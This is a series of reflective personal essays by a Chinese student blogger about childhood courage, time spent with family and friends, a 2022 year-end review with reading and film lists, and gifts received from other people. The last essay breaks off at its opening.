1421 字 | 幼年记忆 | 勇敢 | 勇气

正文

　　大人有时候根本不知道，一些习以为常的举动，对小孩子来讲需要多大的勇气。比如下课向老师提问，或者只是简单起个夜。

　　我的小学数学老师很凶，上课没人敢说话。不仅如此，授课节奏很快，根本找不到打断的时机。然后后面就出事了。

　　一天那时的我和母亲聊起这事。母亲很不解地说：“要去洗手间举手说一下就好了呀，又不会不给去。”我当时想了想，想到数学老师严厉的目光和全班疑惑的眼神，一齐投过来。我不敢。

　　但是这句话我也没说，一直到现在，而现在已经全然和母亲一个观点了。

　　然而我幼时还是做出过一些很勇敢的举动。

　　学校那时有什么事情，安排得不好，需要临时交一个材料。那时我住校，和班主任说了一声，开始往家里赶。

　　我家在农村，公路边。学校在镇上。家和学校之间的路，装了太阳能路灯。平时的夜晚，它们一盏接一盏地点亮，孑立在路边，发出幽幽的白光，看起来孤零又冷清。然而，有一段必经之路，附近的五六盏路灯都坏了。更不幸的是，那段路年久失修，只能勉强过车，附近也没有人家。

　　我怕黑，总觉得黑黢黢的路边潜伏着什么不可名状的鬼怪。之前的路，都凭借路灯和附近人家的灯火安然度过，到这段路时，一种来由不明的恐惧开始萦绕在我心头。

　　那时的我开始在路灯下开始等。

　　我不知道花了多久时间，等来了第一辆大货车，从遥远的那头驶来。开着远光灯。

　　我开始狂奔。

　　我知道我如果和货车同一个方向，不久将被超过，又将没入黑暗。所以这是我最好的时机了。

　　我狂奔到下一盏正常的路灯下，开始等待下一辆的到来。

　　路灯一直沉默，只有夏天不知疲倦的飞蛾扑棱着在它身边发出一点声音。

　　就这样我回到了家。现在想起来，也幸好家在公路边。

　　彼时我四年级。十岁上下。

　　没搬家之前，我家的厕所位于地下，是典型的农家户型，需要过一段楼梯。没有灯，要等走到地下之后才有开关。

　　第一次鼓起勇气自己一个人，没有叫父亲或者母亲，拿着手电筒，深入地下。去的时候还好，从下面走上来的时候，尤其让人心悸：我看不见背后，总觉得背后有一阵寒气，稍慢一步便会被拖入黑暗深渊。

　　细数所有这些经历，其实会发现几乎所有的第一次，或多或少都需要一些勇气。

　　而小时候，需要的勇气尤其多——至少比成年人要多。第一次和父母一起在成都坐地铁，乘动车，三人都没经历过，但我知道我有处理这些事情的能力，最次可以问人。但我永远也忘不了，更幼年的我伏在二楼阳台大声哭喊妈妈的样子——那时夜幕降临，二楼是祖父母住的地方，他们都不在，而通往一楼的楼梯口，有一条凶神恶煞很不待见我的狗。我哭着喊了有半个小时，最后母亲干农活下山回来，声音已哑。

　　所以当我刷到那个视频时无比感动。一位父亲，在 U 型池一侧，对着上面全副武装踩着滑板的女儿大喊：“下来吧！爸爸会保护你！”

　　小孩子的勇气有时很巨大，能玩鞭炮；有时又很小，面对不知道会不会伤到的滑板，连连后撤。

　　孩子们需要有人保护。起码在最开始时，需要有人教导他们怎么勇敢。之后才能成为一个勇敢的大人，去保护下一个人。

　　成年人也未必事事都勇敢，比如蹦极、比如有人大喊“救命”、比如和第一次倾心的异性聊天。

　　成年人也需要有勇气。某些情况下，也许我们还不如孩子们。

　　我们都是小孩子，希望阅读到这的你也有勇气。

　　而当遇见第一次挂号、第一次买东西、第一次迷路的孩子们时，不妨多点耐心。


　　南国微雪 Miyuki

　　2023 年 2 月 17 日

写在后面

　　找视频找了很久……但是视频发不出来，就很头疼。视频链接在下面。

引用及附注

在一起，本身就是一种幸福

封面图

摄影师 | Casey Horner

图源 | Unsplash

写在前面

1900 字 | 心绪强烈 | 朋友 | 陪伴

正文

　　起初想写这篇文章，是因为前段时间，我和哥哥一起，围在电脑前，一边烤火，一边看《三体》电视剧。

　　第一集，第一秒，看到了汽车广告。我和他相互看了一眼，开始笑：“完了。不会又是个烂片吧。”

　　一边看，一边聊，把《三体》首播的四集看完了。翌日看了第五集。随后便因各种原因没有这样做了。这样的时间，只有两天。

　　然而，这种时光，让我想起了很多的事情。


　　小时候，母亲和父亲还没有那么忙。有时候晚上会聚在一起看电视。家里的电视成像不好，是那种显像管电子枪式的老旧电视，有个很大的后脑勺，年龄比我都大。

　　但是并不妨碍我们一起津津有味地看那些狗血肥皂剧。

　　母亲有时候会摇着父亲的手臂，眉头紧锁地看看电视，又看看父亲。

　　“这人怎么这样？”

　　“等下，刚才发生什么了？”

　　“这个人是坏人吧？”

　　父亲大多数的时候只是笑笑：“没事，继续看，看着看着就懂了。”

　　有时候幼时的我也会跟着一起看（因为遥控器在父母手里……），并且会皱着眉头嫌弃母亲太吵。

　　幼时的我还问过父亲一个天真的问题，弄得父亲不知所措。

　　“爸爸，是不是电视里的人都在等我们呀？我们不看电视的时候，他们就休息；我们开电视的时候，他们就开始收拾表演给我们看？”

　　渐渐地，我长大了。家里不太聚在一起看电视了，偶尔也还是会有这种时间。

　　印象中最深的一次，是看一部名为《婚姻时差》的剧。讲的是三四十年的完美爱情，因为男方到了美国，两方总是因为时差联系不上，因而出轨的剧。

　　剧情照现在来讲很是一般，但我永远也忘不了我无意间瞥到的那一幕：母亲刚看到男方出轨，而女方始终相信对方这个剧情时，眼神里透露出浓重的嫌弃。而父亲轻轻拍了拍母亲的背。

　　在那之前，我对于一起看电视这种事情丝毫不感兴趣。

　　从那天起，我忽然觉得：这样的时间也不坏。


　　直到成长到现在，我才越来越明白，这样的时间到底有多么珍贵。

　　父母如今渐渐两鬓攀雪，工作压力却丝毫不减。每次回家，酣睡如泥。

　　大脑袋电视，也已经两三年没有开过了。

　　没有搬家之前，我和哥哥睡一起，经常由于抢被子而互相埋怨；搬家之后，我和他各自一个房间，舒服自在， 舒服到房间里有些空荡死寂 。

　　我经常幻想我和另一个她能有这种情形：我在一边写作或是工作，她躺在沙发上玩平板追剧。我说，毛巾给我一下，然后她抓起毛巾手一伸，让我拿，两个眼睛仍然看着电视。有时候会抱怨我来得太慢，她举得手酸。两个人在一个空间里自己做自己的事情，时不时随意地问一句晚上吃什么， 大部分时间都是令人安心的寂静，静到能听见外面雨落窗台的声音 。

　　能一起做一点共同的事情更好，比如玩一个双人游戏，看她因为卡关生闷气，但是也不必强求如此。

　　在一起，本身就是一种幸福。


　　这样的时间越变越少，所以对此愈加敏感。

　　高中有一次，班主任请客吃饭。吃完，整个班级的人决定消食走回去。我和两个走的近的女生走在一起，我们走在前面，她们不想走路，于是决定悄悄打车回学校。八只眼睛交流一番，然后朝我一瞪，绑架了一个从犯。

　　我至今都记得住，后桌的女生一把抓住我的手腕，连我在内五个人开始抄近路狂奔。我跑得上气不接下气。

　　我们回去得很早。有个女孩子想唱歌，于是打开黑板，开启多媒体电脑，点了一首歌。

　　我们四个人就安安静静地听她和着伴奏唱歌。

　　那是我第一次听《红色高跟鞋》。

　　我无比怀念那时温柔的氛围。


　　写到这里时，我正在借宿的朋友家里，听他们大笑着玩游戏。三个人在一个房间。

　　一个人玩游戏，一个人看视频，还有一个，在写作。

　　在这之前，十个同学兼旧友，刚进行完一年一次的同学聚会。

　　我不抽烟，也不喝酒，他们也没有任何一个人劝我。有人让我说几句，我大笑说， 你们多喝几杯啊。然后获得一阵唏嘘。“你又不喝酒，就知道拱火！”然后大家都开始笑，我也开始笑。 笑得前仰后合。

　　餐桌上他们吵吵嚷嚷，起哄谁又交了女朋友，谁又必须多喝几杯。而我安静地吃饭，同时听着旁边挚友对我的感激和不满。我笑着应着，好好，这都没啥，我下次注意。

　　听着他们的声音，有那么几个瞬间，仿佛广角镜头一般，我不是我，而是旁边餐桌上的路人，看着这热闹的一切，无比感慨。然后镜头切回自身，我还是我，发现自己就置身于这样的热闹中，并且就是其中一员。 那几个刹那，竟有一种无比想哭的冲动。

　　这种时间——确实不坏。


　　我时常觉得自己敏感得不像一个男孩子，不过如此也好，我需要这种敏感。

　　或许正因如此，我才得以慰藉。

　　对于在一起这件事情而言，很多时候不需要一板一眼的意义。 毕竟，在一起和不在一起，时间的流逝速度都一样。

　　若非要安上一个意义，幸福，就是意义。


　　“你在干什么？”

　　“看剧啊，正看到精彩部分呢，要一起来吗？”

　　“好啊。”


　　南国微雪 Miyuki

　　2023 年 2 月 2 日

写在后面

　　我很喜欢这篇文章，也很喜欢这种感觉。希望你们也喜欢。

仍然在路上 - 2022年度总结

封面图

摄影师 | Humphrey Muleba

图源 | Unsplash

写在前面

4375字 | 总结 | 朋友 | 生活

正文

　　在写这篇文章之前，我认认真真地去相册里翻了一下，我今年的图片。

　　全在跳舞。我自己都有些难以置信。但相册里，确确实实，大多数都是关于舞蹈的图片视频。

　　看着以前的证据，不知如何是好。


　　生活之彩，多因舞而生。

　　我不觉得舞蹈代表了一切，但它带给我的东西——外出，礼物，人际关系等等和因此带来的成长，这随之而来的一切，让我无可否认。

　　我早已分不清舞蹈和成长两者的关系了，大概兼而有之，相互促进吧。

　　通过跳舞认识了很多的人，然后在交往之中又发现他们其他可爱的地方。让人很满足。

　　为了节目和表演，我们一起出主意，编排，然后在舞台上绽放；为了回应，我看过他们受情所扰，也为情开怀，与人相恋最后又跟随内心；为了友谊，我们一起说些疯言疯语，也一起在凌晨的操场上吐露困扰与感触；为了学业，我们也能一大早跑去图书馆，占一两排桌子的座位；为了狂欢，我们能提前准备很久，也能在最后送人回家，清理场面……

　　我实实在在地将他们看作异地之亲，也实实在在地在我们存亡危机之际，着急焦虑。而后者，我直到现在都觉得是个奇迹——面临除名到转危为安，只用了一周不到。背后是我们所有人的努力。

　　如今我们不再式微，逐渐壮大。新来的后辈们真的很可爱，一个阳光开朗，笑声俊朗，一个善解人意，幽默大方，还有的，温和谨慎。每个人都有不同的性格，每个人都很可爱。

　　我觉得这样就已经足够了。

　　我因舞蹈而喜欢他们，也因他们而更喜欢舞蹈。


　　平淡如水之中绽放的盛大惊喜。

　　一共两次。一次为我的生日，一次为如我一样将于六月离去的人准备的惊喜。也都是他们准备的。

　　我的 TODO list 里面，有专门的列表，记录着很多人的生日，但上面，没有我的。 我一直觉得自己的生日无所谓，过与不过，都没有区别。

　　甚至于——在那场盛大的惊喜当天，我都不知道那天是自己的生日。我人也呆，还以为是为别人准备的。于是那天，成了至今而言，为数不多刻骨铭心的场面之一。

　　而为大四准备的惊喜，也完全意料之外。

　　我很难掉眼泪，除了刺激泪腺，再难过我都哭不出来。 自小时候起，便一个人独立忍受。

　　但那天我哭了。 时间太短，经历太长。想和你们再一起相处如今这么长的时间。


　　疫情转奏，猝不及防，所历人事，如梦如幻。

　　这是一个很难阐述的话题。我写下的所有文字都不喜欢带上政治色彩，但它实在是对我们产生了太大的影响。

　　我所经历的很多活动都在学校内展开，因为根本没法出去，而如今这种摆烂式放开带来的影响，仿佛三年不存在一般。这让从前委屈折中的所有东西显得很可笑，譬如活动方案，比如旅行，又或者只是简单的买车票或进场所。

　　我的朋友在这几年时间里，走的走，散的散，丢的丢。如今已经不剩多少了。这是放开也挽回不了的珍贵事物。

　　或许也正是如此，才更能辨别哪些人更值得珍惜。

　　回首过去，发现自己经历了很多假性亲密关系（Irrelationship），不过如此也好，说明自己仍在成长。


　　经济未升，工作未成。

　　我在十月份才开始投简历，找工作。九月份那个时候焦头烂额，而且那时的我还想着自己需要掌握一定的主动权，于是将这个事情一拖再拖。最后结果当然不是很好，但是我觉得也没有那么糟糕。

　　身体健康，才是最大的幸福。

　　我见过，也听过很多人壮志雄心，事业有成。他们固然令人羡慕，但我始终觉得，这些都是上层建筑，很高层的东西了。最底层的，就是健康。

　　其他人之所以对你有所期望，是因为他们默认了在接下来的旅途中，身体不会有太大问题，理应去追求更高阶的东西。而对绝症患者的家人或者朋友来说，他们仅仅是活着，存在于世间，就是持续的宽慰和盛大的救赎。

　　我不否认这确实是一个很完美的逃避借口，但它也是一个事实。 抛弃健康会带来灾难性的后果。

　　毕竟， 越底层的的东西越致命 ——地基坍塌，硬件损坏，电力短缺等等不一而足。

　　注意身体的同时，努力去追求更好的东西，这才是最好的生活状态。

　　说回工作本身，这一年我只找到了一个 PLCT 的实习。截至目前已经实习七个月了，它融入了我的生活，但是并没有断崖式地改变我的生活。这是一个好事情。但愿我在软件所能有所进步吧。

　　全职工作仍然没有着落。秋招投递了将近 50 份简历，只有不到十家给了我回应。重点参与了：一家银行，终面挂；一家通信公司，一面挂；一家制造业公司，一面之后没有消息；一国企的技术中心，拿了 offer 但没打算去。

　　参加了一次事业单位高校人才引进。随意的笔试，竟然进了面。最终面挂。说不灰心太假，但确乎也没有太在意。

　　众生皆苦，尤其这三年。傲慢地说，如果为此焦虑致死，我想这是最坏的结果了。

　　慢慢来才最快。

　　也真诚希望，一直陪伴在我身边的，那位专注于工作的朋友，能有一个好的结果。他真的做到了，在一个阶段做这个阶段的事情，并不如我一般。该玩的时候玩得开心，面对生活的时候也丝毫没有退缩。我羡慕且敬佩，也诚挚希望他能有个圆满而美好的结束。


　　今年好像做了很多事情，又好像什么都没做。

　　就像挂号信函收据已经涨到了四十张，却仍然觉得还少了谁，还有哪封信没有寄到。

　　或许我们就像这些信件一样吧，也像让-保罗 · 萨特说的那个自我一样——我们一直为它奋斗，且多多少少获得了成功，但这种奋斗永远都不会完成，直到死亡那天，它才真正成型。

　　未来不定，我们仍然在路上。


　　南国微雪 Miyuki

　　2023 年 1 月 19 日

写在后面

　　这篇文章想写很久了，但是一直没有思路，最后写出来也不太满意。形式大于了实际内容。或许正是这一年什么都没有做的最好证明吧。

　　很多事情想说，但一来重复，二是别人未必想了解也不一定会懂。究竟作罢。若想了解，已将所有参考链接附于引用及附注之内。

　　我不知道 2023 会怎么样，但是起码上半年我会很珍惜。

　　我害怕工作，所以今年全然未知。但目前就这样慢慢走下去吧。

　　最后，我劝诫自己的七条箴言，送与大家，共勉。

　　1. 接受好意；2. 降低期待；3. 开心一点；4. 摆脱傲慢； 　　5. 爱情并非全部；6. 永远有人更优秀；7. 努力生活。

梦想清单完成情况

摘自 Telegram 频道 推送

形成于高一，最后修正于大四

  1. 去往同一所大学； （于 2019.9.1 失败）
  2. 跑步公里数总计 300 公里；
  3. 主厨或帮厨做成一次全宴； （于 2022.6.5 完成：轰趴馆）
  4. 20 首以上原创诗歌； （于 2021.11.30 完成）
  5. 30 篇小说； （于 2022.10.5 完成）
  6. 日语 N3 等级；
  7. 5 幅以上插画；
  8. 10 件不同风格的衣服；
  9. 无偿捐赠一次； （于 模糊时间 完成：忧郁的弟弟） （于 2021.10.8 完成：Zlib.org）
  10. 每年阅读至少一本书；
  11. 恋爱一次； （于 2021.9.16 - 2021.10.11 完成：佳芯小姐）
  12. 作曲编曲一首；
  13. 参加一次街舞比赛；
  14. 编写一个自己的网站； （于 2022.7.23 完成：博客）
  15. 游玩一款游戏 2 遍以上； （于 2022.7.30 完成：Terraria）
  16. 用 PR 剪一次作品；
  17. 洗牙一次； （于 2021.2.3 完成）
  18. 去一次法国巴黎；
  19. 去一次日本北海道周围或者东京都；
  20. 拥有一台相机；

2022 年已读书目记录

格式

⭐️(类别) 书名(原书名) - [作者国别]作者中文译名（作者原语言名）(备注) - <阅读起始日期-阅读完成日期>

备注

  • 省略书名号，节省字数；
  • 遗忘书目不计在内；
  • 星型 emoji 表示推荐阅读；
  • 部分组成依据书籍省略；
  • 日期部分残缺则一天之内阅读完毕；
  • 暂不添加译者信息。

名单

摘自 Telegram 频道 推送

  1. ⭐️非暴力沟通 - [美]马歇尔·卢森堡（Marshall B.Rosenberg）- <2021.12.20-2022.1.4>
  2. 狮子之家的点心日 - [日]小川糸 - <2022.1.9-2022.1.13>
  3. ⭐️没事，一切都会好起来的 - [韩]Jedit - <2022.1.16>
  4. (漫画) 让人无法抱怨的爱情喜剧 - [日]铃木大辅 - <2022.1.23>
  5. 通过例子学 Rust - Rust 语言团队及中文社区 - <2022.1.15-2022.1.23>
  6. ⭐️亲密关系（第六版）(Intimate Relationships 6e) - [美]罗兰·米勒（Rowland S. Miller）(注：非常难啃) - <2021.10.5-2022.2.2>
  7. (漫画) Google Chrome comic - Google 团队 - <2022.2.2>
  8. (漫画) 我可以咬一口吗 - [美]莉兹·克里莫 - <2022.2.7>
  9. (漫画) 灯塔 - [法]克里斯多夫·夏布特 - <2022.2.7>
  10. (漫画) 回答不了 - 匡扶 - <2022.2.7-2022.2.9>
  11. (漫画) 半小时漫画理财课 - 八宝 - <2022.2.11>
  12. 喜鹊的计谋 - [日]才羽乐 - <2022.2.15>
  13. 人间失格 - [日]太宰治 - <2022.2.16>
  14. 摆渡人 - [英]克莱尔·麦克福尔 - <2022.2.18-2022.2.19>
  15. (漫画) 半小时漫画经济学 1：生活常识 - 陈磊·半小时漫画团队 - <2022.2.22-2022.2.24>
  16. (漫画) 半小时漫画经济学 2：金融危机 - 陈磊·半小时漫画团队 - <2022.2.25-2022.3.3>
  17. (漫画) 半小时漫画经济学 3：金融危机（完结篇） - 陈磊·半小时漫画团队 - <2022.3.3>
  18. 数学之美 - 吴军 - <2021.11.5-2022.3.7>
  19. Rust 程序设计语言 - Rust 语言团队及中文社区 - <2022.1.1-2022.3.18>
  20. 呐喊 - 鲁迅 - <2022.3.20-2022.3.22>
  21. Node.js 项目实战 构建可扩展的 Web 应用 - [美]Azat Mardan - <2022.3.22>
  22. (漫画) 佐仓同学有你的指名哦 - [日]森みさき - <2022.3.25-2022.3.31>
  23. 设计模式 - 刘伟（来自网络）- <2022.1.14-2022.4.4>
  24. 2018 - 刘慈欣 - <2022.3.9-2022.4.6>
  25. 明天，我要和昨天的你约会 - [日]七月隆文 - <2022.4.6-2022.4.8>
  26. 如何阅读一本书 - 轻阅读编写组 - <2022.4.14>
  27. 追风筝的人 - [美]卡勒德·胡赛尼 - <2022.4.16-2022.4.18>
  28. 1984 - [英]乔治·奥威尔（George Orwell）- <2022.4.27-2022.5.2>
  29. 他来了，请闭眼 - 丁墨 - <2022.5.2-2022.5.5>
  30. Vue 源码系列 - Vue 中文社区 - <2022.5.6-2022.5.10>
  31. 霍乱时期的爱情 - [哥伦比亚]加西亚·马尔克斯（García Márquez）- <2022.5.5-2022.5.30>
  32. mdBook Documentation - Rust 语言团队 （Mozilla）- <2022.5.31>
  33. 盲视 - [加拿大]彼得·沃茨 - <2022.6.29-2022.7.18>
  34. 跟我写 Makefile - 陈皓 - <2022.7.26-2022.7.27>
  35. 爱丽丝梦游仙境 - [英]路易斯·卡罗尔（Lewis Carroll）- <2022.7.19-2022.8.5>
  36. 天堂旅行团 - 张嘉佳 - <2022.8.11>
  37. 再次仰望星空 - [美]杰森·格林（Jayson Greene）- <2022.9.3-2022.9.30>
  38. 计算机系统要素：从零开始构建现代计算机 - [美]Noam Nisan - <2022.9.7-2022.10.1>
  39. 大型网站技术架构：核心原理与案例分析 - 李智慧 - <2022.10.20-2022.10.26>
  40. 智齿 - 郑渊洁 - <2022.10.31-2022.11.9>
  41. 童话大王讲经典：西游记 - 郑渊洁 - <2022.11.20-2022.12.2>

观影记录

  1. 黑客帝国
  2. 黑客帝国 2：重装上阵
  3. 黑客帝国 3：矩阵革命
  4. 名侦探柯南：绯红色的子弹
  5. 银翼杀手 2049
  6. 飞屋环游记（Up）
  7. 爱丽丝梦游仙境 - 仙境奇遇记
  8. 寻梦环游记
  9. 盗梦空间
  10. 爱丽丝梦游仙境 - 镜中奇遇记
  11. 海上钢琴师
  12. 舞出我人生之舞所不能【烂片】
  13. 舞出我人生（Step Up 1）
  14. 舞出我人生 2：街舞（Step Up 2: The Streets）

引用及附注

引用事件

  1. 生日惊喜
  2. 送给大四生的惊喜
  3. 除名危机
  4. 身体健康
  5. 实习能力测试通过
  6. 找工作的朋友的最终决定

附注

　　附上一些年度图片，精挑细选。推荐理由附于其后。

　　推荐理由：猫猫神教！！！

　　推荐理由：明亮的校园，看起来很梦幻。

　　推荐理由：非原创。很喜欢这种氛围和感觉。

　　推荐理由：非原创。一直很喜欢桐人。

　　推荐理由：朋友的十八岁生日蛋糕。最后没吃完，很可惜。也很心疼这个朋友。

　　推荐理由：具有特殊意义。

　　推荐理由：压轴。这张图当初给我带来了很大的震撼——这是一个漫画的后记。并且还是情色漫画的后记。我很希望能像这个画师一样，把生活、工作、学习和爱好平衡好。附翻译其后（因微雪个人日语能力有限，如有错误，还请海涵斧正）。

后记

首先，感谢您购买此书。

这回

11.30　毕业论文的第一个 deadline

12.12　我的乐队的现场演出

12.17　毕业论文的第二个 deadline

12.21　这份手稿的截止日期

因为我需要度过人生中这最艰难的两个月，所以我比平时更严格地要求自己，结果，毕业论文的字数竟然远远超过了规定的 2 万字，写了

5 万字

这么多。努力过头了。

总共写了 60 页，按书的厚度算就是 120 页（因为论文是单面印刷的），写完之后感觉快死了。做完之后我能说的就是，毕业论文这种东西，适当随便点就行了。现在除了我之外的、其他的同级生，现在全部都在赶第一次和第二次的截止日期。在我看来毕业论文应该是更严肃的东西才对。

过于认真是我的坏习惯呢。

后记完全以抱怨毕业论文而告终。

从下半年开始我就是新晋社会人了，但就算工作了，也打算继续商业作品或者漫画，如果可以的话，请继续支持我。

（以下略）

（最后一行）未满十八岁禁止购买 / 禁止阅览

微小痕迹

封面图

===图为团子抱枕===

摄影师 | 佚名

图源 | 淘宝店铺

写在前面

3326 字 | 礼物 | 人际关系

正文

　　前两天一时兴起，稍微测算了一下他人在自己生活中留下的痕迹。

　　习惯和思维等等固然有，但无法进行衡量，此处略去不提，只计算实实在在的，以物品呈现的影响。但就算如此，数量对于从前的我来说，也无法想象。


　　一盒笔芯。

　　笔芯是高中时代的产物。那时候我穷途末路，问灵要了一只笔芯。记不清是什么牌子了，但是觉得挺好用，就将笔芯包装纸放在笔袋的后备处，然后专门去淘宝买了一盒一模一样的。然后事实证明，或许是灵在我心中的光环效应，也或许是那盒笔芯恰好品质比较次，盒子里的并不怎么好用。饶是如此我也没有舍得扔。一直放在那里。

　　我一直用钢笔，签字笔从来只作为备用。就算这样，有那么多的笔芯在，我还是觉得很安心。


　　一根签字笔。

　　这是我向前任要求带的唯一一件东西。我以为这只是一个开始，没想到它已经是结束了。它现在仍在我的笔袋里服役，有时候我也会用，但并没有什么特殊的感情。不像那支钢笔。


　　一个单耳蓝牙耳机。

　　这是我最猝不及防的一件礼物。

　　我家在乡下，但是高中在城里上学。记不清哪个暑假，天很热，举目全是橘色的阳光，和上空因热空气而扭曲的建筑和山林。我甚至在家里一个盒子养了海绵宝宝，看他们被水养大，圆鼓鼓的，安静躺在底面。

　　“你家在哪儿？我找不到。”骆发来一条消息。

　　对于他这预订好却意外的来访，我先是震惊，后是哭笑不得。

　　他在家里玩了一阵，走时将耳机悄悄丢在桌上，我没有发现。等到他上了车，我才急忙给他打电话。

　　“耳机呢？你不要了啊？怎么这种贵重物品都能忘的。”

　　我在窗边一边拿着耳机，一边问他。不时看看海绵宝宝，再将目光转向外面的炎热地狱，思考怎么才能给他送过去。

　　“给你了啊，不然怎么可能不拿。”他说。

　　“这种东西你说给就给啊？”

　　“……那有啥，就这个事吗？”

　　“嗯……”

　　“那我挂了啊，车里有点闷，我有点晕。”

　　随后我就只听到了嘟嘟声。我对着外面橘色的阳光怔了好一会儿才缓过来。


　　两个笔记本。

　　一个初中好友蒲所送，一个网上认识的朋友 Asuna 所送。两个本子都是空白页，没有横线方格。前者封面是咸鱼，后者封面是成都印象。

　　有一个很震撼的事实，是我后来听朋友所说的。他偶然看到了成都印象那个笔记本，连忙过来问我来源。我说朋友送的。他吞吞吐吐地跟我说：“你知道这个多少钱吗？”我确实不知道，也这么回答了。他说他也不知道。我还以为他在跟我搞笑，正准备打他，他补了一句：“但是这系列笔记本全国限量发行，每本都有编号。”

　　我错愕。

　　正打算上去问这原主人，他一把拦住我：“你干嘛？”

　　我觉得有点贵重，打算上线问价格。

　　他说：“ 问了之后呢？你打算怎么办？ ”

　　我一时语塞。

　　“送礼物的人肯定不希望你在意这些。”他絮絮叨叨地跟我说了很多。

　　我默从了。

　　不识货——当时这个词浮上心头。这个事情，让我意识到谦卑。


　　一条砂瓶吊坠。

　　这是兰送的生日礼物。当初拿到时，用盒子包装得很好。除此之外，还有一个小卡片。那卡片上面赫然印着四个大字：开光证明。背面还印着一尊佛像，还有一些我不懂的经文。

　　我当时真的哭笑不得。

　　我不信这吊坠开过光，毕竟是淘宝上的产品。卡片我也早不知道扔到了哪里去，甚至忘记了开光的寺庙是哪里的寺庙（卡片上面有写，如果是真的的话）。

　　但是我却经常将它戴着，譬如执笔的此刻。

　　在事业单位面试的头一天晚上，我给兰发了一条消息。

　　“ 希望你送我的这条吊坠能带给我力量。 晚安，好梦。”随后我便睡去。

　　可能冥冥中我还是相信这些的吧。


　　一罐啤酒。

　　严格来说，它是我二十一岁生日那天，遗留下来的产物。现在都已经临近过期了，但我仍然没有扔。

　　那次的生日，我想我永远也忘不了。那是一场盛大的狂欢。

　　他们抱了一打啤酒，易拉罐式的，很高。然后各自拿了一罐。在蛋糕抹脸的恐怖战争中，有人塞了我一罐。

　　我当时很犹豫。

　　我从那之前很久开始，就立下过一个誓言：不抽烟，不喝酒，不赌博。立下这个誓言，无他，只是希望自己变得更好，成为一个更好的男生。从那刻开始，我只开了两次特例：一次是灵送的生日礼物，桃花酒；一次，便是这天。

　　狂欢的最后，还有一罐啤酒没有喝。我让他们拿着，他们不肯，说寿星拿，我只好收下。

　　没有了那天的情景，我想，这罐啤酒我大概是永远不会喝了。

　　事后我有时会想，我开的这两次特例算不算是“破戒”？

　　每次想这个问题，最后得出的结论都一样： 成为更好的人当中，应该包含珍惜关系与懂得变通。 所以，只要不是没有理由的放纵，我想，应该没关系。

　　大概吧。

　　我不是不会喝酒，只是不想无缘无故地放纵。


　　很多封信。

　　基本都是一些回信。

　　写信这么久以来，我已经习惯了没有回应的日子。每每有一封回信，都像黄金一样，期待不已，心心念念。


　　一个抱枕。

　　我现在都能记得那个羞耻的场景。

　　大概是高二，星期天，我在教室里清扫，把考室恢复成上课的教室。然后有人叫我，说外面有个人找我。

　　我出门一看：岚。她手上提了很大一个袋子，超大，然后神神秘秘地凑过来给我说：“我给你买了个东西。”

　　我一愣：“抱枕？”

　　“猜对了。”

　　那时候，我还重度沉迷于动漫，提起抱枕就是不可描述的那种。

　　我一瞬间羞耻心上涌：“是不是有点不好……”

　　岚大笑：“想什么呢，我专门找的正经的图。”

　　说是这么说，我接过道谢之后，还是一整下午没敢打开，直到晚上拿回宿舍才敢看清它的模样。

　　确实很正常，甚至埃罗芒阿老师的图都不是高清的，周围都还有像素点，看得我想笑。然而，它对于当时人际贫瘠的我来说，确确实实算一个盛大的生日礼物了。

　　在很久之后，我某一次洗枕套，翻过来发现，它上面有一块小的布条。那上面只有简单的一行大字，教人直想笑：C:\Users\Adminstrator\Desktop\岚_正面.jpg。

　　笑归笑，它一直服役到今天。


　　一个玩偶。

　　陌生人送给我的。我确定是陌生人，他走的时候，我不知道他的名字，年龄，甚至不知道是否在上学。

　　县城里抓娃娃机，他不知道怎么兑换游戏币。我稍微演示了一下。

　　本是为了等人，打发无聊去抓娃娃的，我两手空空回来之后，在一旁座位上发呆。他找到我，与我攀谈起来。

　　他手上有两个娃娃。抓的。

　　我觉得他运气真好，我很久都没有抓到过娃娃了。

　　我这么说了，还坦言挺好的，也很羡慕。

　　最后他因为有事，先走了。

　　“这个送给你吧。多了我也不好拿。”他说。

　　“这怎么行？”我当时脑袋宕机了。

　　他往我怀里一塞，跑掉了。


　　一枚戒指。

　　喵喵的礼物。这个猫猫戒指，他买了一对。剩下的那一枚戒指，从他说的那一句话开始，变得极为重要。

　　“那就送给你喜欢的女孩子。”

　　如今已经送出手了。但是那已经是过去很久的事情了。

　　“要不要还你？感觉它对你来说很重要的样子。”

　　“不用了，你毕竟还是我的初恋。”

　　对喵喵的承诺，我很庆幸我完成了。


　　一只手表和一个大大的团子抱枕。

　　这可能是最特殊的东西了。它们并非别人所赠，而是我受人启发，自己购入的。

　　手表和团子，均是受那个女孩子启发。我当初并非觉得我喜欢她，而事到如今回顾过往，一切显得那么稚嫩和可笑。

　　手表出过很多次意外。比如莫名其妙不转了，比如固定针掉落了几次，比如差点忘记放在哪。

　　每一次出意外都很难过，觉得自己又做了一件坏事。

　　手表已经换过几次了，但是型号、款式甚至表带一直没有变过。我执拗地觉得，这样会让它一直完好如初。

　　起码在我的心里是这样。

　　而她，也将是我最深的秘密了。


　　两支钢笔。

　　这是我最后想说的。一支是大学室友送的生日礼物，因为太细了，虽在服役，但并没有经常使用。另一支，就是她给的。

　　岚和她是好朋友。

　　我在一个下午，让她帮我带一支钢笔。最后收到时，她说她不会挑，于是让岚代办了，然后她付钱。

　　我有个习惯：笔袋里的笔，如果正在使用，笔头向右；不能使用，或者还未使用，笔头则向左。

　　这支钢笔，在笔袋里笔头一直向左。

　　我不愿看到它坏掉。就算只是一个吉祥物，也不后悔。我打算，让它永远向左。


　　以上并未列完所有的物件。也并未列出最重要的东西。

　　我没有把父母和兄长列进去—— 父母，给了我生命和生活；兄长，给了我无数的物品，以及成长。 这三个人都是蛮不讲理的存在，如果列进去将无人匹敌。

　　我并没有比较之意，我觉得每一件物品都很重要，都凝结着无比重要的心意。

　　我的生活，许多人擦身而过，留下了痕迹。如今，我记录在此。而我又在别人的生活里留下了多少痕迹，或许那些信件会知道。

　　也或许，只有天知道。


　　南国微雪 Miyuki

　　2023 年 1 月 16 日

写在后面

　　受条件所限，所有物品不能给出实物图。不过如此也好，保持想象，会有更广阔的世界。

占有美

封面图

摄影师 | Hannah Rodrigo

图源 | Unsplash

写在前面

3686 字 | 两性关系 | 暴言注意
自我追省 | 占有欲 | 友情 | 爱情

正文

　　夜雨纷飞，若有所思。

　　最近在街道或者教室里，看到一些很美丽的人，有时不禁萌生起想自私地将这份美丽据为己有的想法。这种客体有时候不仅仅止于女性，会延伸到诸如风景和可爱的产品上面。频次之高，竟招致自己的害怕。

　　我不禁思考起，这种想法的本质是什么？

